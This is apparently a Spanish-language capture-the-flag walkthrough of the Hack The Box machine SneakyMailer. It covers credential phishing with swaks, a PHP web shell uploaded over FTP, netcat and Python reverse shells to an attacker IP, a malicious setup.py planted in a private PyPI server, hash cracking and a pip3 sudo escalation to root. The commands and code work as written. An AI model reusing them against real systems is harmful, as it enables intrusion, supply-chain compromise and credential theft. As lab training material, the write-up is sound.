HTB_SneakyMailer
SneakyMailer {-}
Introduccion {-}
La maquina del dia 26/07/2021 se llama SneakyMailer .
El replay del live se puede ver en Twitch: S4vitaar SneakyMailer maquina
Enumeracion {-}
Reconocimiento de maquina, puertos abiertos y servicios {-}
Ping {-}
ping -c 1 10.10.10.197
ttl: 63 -> maquina linux. Recuerda que tratandose de ttl 64 = linux y 128 = windows. Pero como estamos en hackthebox hay un nodo intermediario que hace que el ttl disminuya una unidad
Nmap {-}
nmap -p- --open -T5 -v -n 10.10.10.197
Va lento
nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.197 -oG allPorts
extractPorts allPorts
nmap -sC -sV -p21,22,25,80,143,993,8080 10.10.10.197 -oX targetedXML
Puerto | Servicio | Que se nos occure? | Que falta? |
---|---|---|---|
21 | ftp | Conexion como Anonymous | |
22 | ssh | Accesso directo | usuario y contraseña |
25 | smtp | Por detras hay algo rel. email | |
80 | http | Redirect to sneakycorp.htb hosts | |
143 | IMAP | Connectar para listar contenido mail | usuario y contraseña |
993 | squid-proxy | Browsear la web por este puerot | Checkear el exploit |
8080 | http | Browsear la web por este puerto | Checkear la web |
FTP {-}
Intentamos conectarnos como anonymous.
ftp 10.10.10.197
> Name : anonymous
Whatweb {-}
whatweb http://10.10.10.197
Hay un redirect a sneakycorp.htb
Add sneakycorp.htb host {-}
nano /etc/hosts
Checkear la web del puerto 8080 {-}
Abrimos la web y vemos cosas:
- Ya estamos logeados
- Hay mensajes de collegasos, pinchamos pero no passa nada
- Proyecto pypi testeado a 80%
- Proyecto POP3 y SMTP testeado completamente
- Es possible installar modulos con pip en el servidor
- Hay un enlace a Team y vemos una lista de emails
Recuperar la lista de email con CURL {-}
curl -s -X GET "http://sneakycorp.htb/team.php" | html2text | grep "@" | awk 'NF{print $NF}' > email.txt
Evaluacion de vulnerabilidades {-}
Swaksear la lista de email {-}
Es comun que en algunos servicios mail, nos podemos conectar al servidor y enviar email con un correo que no existe bajo el servidor indicado. Se puede hacer con la herramienta swaks. Aqui lo hacemos por el puerto 25
nc -nlvp 80
swaks --to $(cat email.txt | tr '\n' ',') --from "s4vitar@sneakymailer.htb" \
--header "Subject: EEEEEEEE" --body "OH DIOS MIO ES DIAMOND JACKSON -> http://10.10.14.20/diamondjackson.jpg" \
--server 10.10.10.197
Ya vemos que podemos enviar el mail y que ademas alguien a pinchado el enlace. Ademas como utilizamos nc y no python podemos ver la data enviada en raw. En la data vemos que podemos ver el usuario, el email y su password en formato url encode.
php --interactive
> print urldecode()"firstName=Paul&lastName=Byrd&email=paulbyrd%40sneakymailer.htb&password=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt&rpassword=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt"
Ya vemos la contraseña del usuario en texto claro.
Intentamos conectar por SSH y FTP pero nada
Conectar por el IMAP con NC {-}
-
Logear por IMAP con NC
nc 10.10.10.197 143 A1 login paulbyrd ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht #Output A1 OK LOGIN Ok.
-
Listar el contenido
A2 LIST "" "*"
-
Seleccionar INBOX
A3 SELECT "INBOX"
-
Seleccionar los mensajes enviados
A4 SELECT "INBOX.Sent"
-
Seleccionar los items enviados
A5 SELECT "INBOX.Sent Items"
-
Seleccionar lo que hay en la papelera
A6 SELECT "INBOX.Deleted Items"
-
Vemos que hay dos elementos en los items enviados, los recuperamos
A7 FETCH 1:2 BODY[]
En los bodys encontramos un un mensaje que pregunta para cambiar la contraseña del usuario developer poniendo y la contraseña original en texto claro. En el otro mensaje otra vez hablan del servicio Pypi
Con el usuario y contraseña intentamos volver a conectar con FTP
Conexion con FTP {-}
ftp 10.10.10.197
> Name: developer
> Password: contraseña
#Output
Connection succesful
dir
cd dev
dir
Aqui vemos el contenido de la web. Nos creamos la famosa s4vishell.php
<?php
echo "<pre>". shell_exec($_REQUEST['cmd']) . "</pre>";
?>
ahora con el ftp subimos el archivo.
put s4vishell.php
#Output
transfer complete
Controlamos en la web si vemos el fichero http://sneakycorp.htb/s4vishell.php
pero tenemos un 404 NOT FOUND.
Intentamos con otras url:
http://sneakycorp.htb/s4vishell.php
http://10.10.10.197:8080/s4vishell.php
http://10.10.10.197:8080/dev/s4vishell.php
pero nada. Aqui pensamos en que podria tener otros subdominios.
Descubrimientos de subdominios de dos formas {-}
Descubrimiento de subdominios con GOBUSTER {-}
gobuster vhost -u http://sneakycorp.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Encontramos el subdominio dev.sneakycorp.htb
Descubrimiento de subdominios con WFUZZ {-}
wfuzz -c -t 200 --hw=12 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -H "Host: FUZZ.sneakycorp.htb" http://10.10.10.197
Encontramos el subdominio dev.sneakycorp.htb
Retocamos en hosts {-}
nano /etc/hosts
```{r, echo = FALSE, fig.cap=”hosts dev.sneakycorp.htb”, out.width=”90%”} knitr::include_graphics(“images/hosts-dev-sneakycorp.png”)
Como aqui ya tenemos un nuevo dominio browseamos la web en dev.sneakycorp.htb/s4vishell.php
y ahora si encontramos nuestra webshell.
- whoami con
dev.sneakycorp.htb/s4vishell.php?cmd=whoami
- verificamos si estamos en un contenedor con
dev.sneakycorp.htb/s4vishell.php?cmd=hostname -I
no es el caso y tenemos capacidad de remote code execution. Ahora intentamos ganar acceso al sistema.
Explotacion de vulnerabilidad & Ganando acceso {-}
Crear una reverse shell con s4vishell.php {-}
-
Escuchamos por el puerto 443
nc -nlvp 443
-
Ejecutamos una reverse shell
dev.sneakycorp.htb/s4vishell.php?cmd=nc -e /bin/bash 10.10.14.20 443
Tratamiento de la TTY {-}
script /dev/null -c bash
^Z
stty raw -echo; fg
-> reset
-> xterm
export TERM=xterm
export SHELL=bash
stty -a
stty rows <rownb> columns <colnb>
Descubrimiento de la maquina {-}
ls -l
cd /home
cd low
ls -la
cd .ssh
ls
cat authorized_keys
ps -fawwx
Vemos la flag pero no podemos leerla. Huele a que nos tenemos que convertir al usuario low. Tambien vemos un recurso Pypi con
un fichero de credenciales tipo .htpasswd
cat /var/www/pypi.sneakycorp.htb/.htpasswd
Vemos la contraseña del usuarion pypi. La copiamos en la maquina de atacante y tratamos de romperla con John
Por ultimo se puede ver un nuevo subdominio llamado pypi.sneakycorp.htb
, lo introduzimos en el /etc/hosts
Crackeo con John {-}
Copiamos el contenido del fichero .htpasswd en un fichero llamado hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
Hemos podido crackear la contraseña del usuario pypi
Descubrimiento de la configuration NGINX {-}
Intentando conectarnos a la web por el subdominio pypi.sneakycorp.htb
, vemos que hay una redirection automatica al domino normal.
Sabiendo que estamos en frente de un NGINX, analizamos como el reverse proxy esta configurado.
cd /etc/nginx
ls
cd sites-enabled
cat sneakycorp.htb
cat pypi.sneakycorp.htb
Hay ya vemos que para ir al subdominio pypi.sneakycorp.htb
tenemos que pasar por el puerto 8080, y efectivamente si browseamos
la web con pypi.sneakycorp.htb:8080
ya podemos ver la web del pypi server
Crear un packete malicioso para pypi {-}
Como el servicio pypi es un server que tiene conectividad con el exterior, podemos seguir lo siguientes pasos en la maquina de atacante.
mkdir pypi
cd !$
mkdir pwned
cd !$
touch __init__.py
touch setup.py
El fichero __init__.py
se queda vacio y el contenido del setup.py
seria el siguiente.
import setuptools
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.20",443))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
setuptools.setup(
name="example-pkg-YOUR-USERNAME-HERE",
version="0.0.1",
author="Example Author",
author_email="author@example.com",
description="A small example package",
long_description_content_type="text/markdown",
url="https://github.com/pypa/sampleproject",
classifiers=[
"Programming Language :: Python :: 3",
"License :: OSI Approved :: MIT License",
"Operating System :: OS Independent",
],
python_requires=">=3.6",
)
La idea aqui es que cuando el pypi server ejecute el setup.py, queremos que nos entable una reverse shell. El codigo
de la reverse shell es de monkey pentester y la hemos retocado para que vaya en el fichero setup.py
.
Configuramos el equipo para poder enviar el paquete al repositorio victima.
rm ~/.pypirc
vi ~/.pypirc
El contenido del fichero .pypirc
seria
[distutils]
index-servers = remote
[remote]
repository = http://pypi.sneakycorp.htb:8080
username = pypi
password = soufianeelhaoui
Ahora podemos enviarlo
-
Nos ponemos en escucha en el puerto 443
nc -nlvp 443
-
Enviamos el paquete al pypi server
python3 setup.py sdist upload -r remote
-
Tenemos una shell pero primero nos a ejecutado desde nuestro propio equipo
-
no ponemos una vez mas en escucha al puerto 443
nc -nlvp 443
-
en el primero shell le damos a exit
-
Y ya esta
whoami
#Output
Law
Ya le podemos hacer un nuevo tratamiento de la TTY.
Escalada de privilegios {-}
Rootear la maquina {-}
sudo -l
vemos aqui que podemos utilizar la heramienta pip3 con el privilegio del usuario root sin proporcionar contraseña.
Miramos en GTFOBINS
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
pip3 install $TF
whoami
#Output
root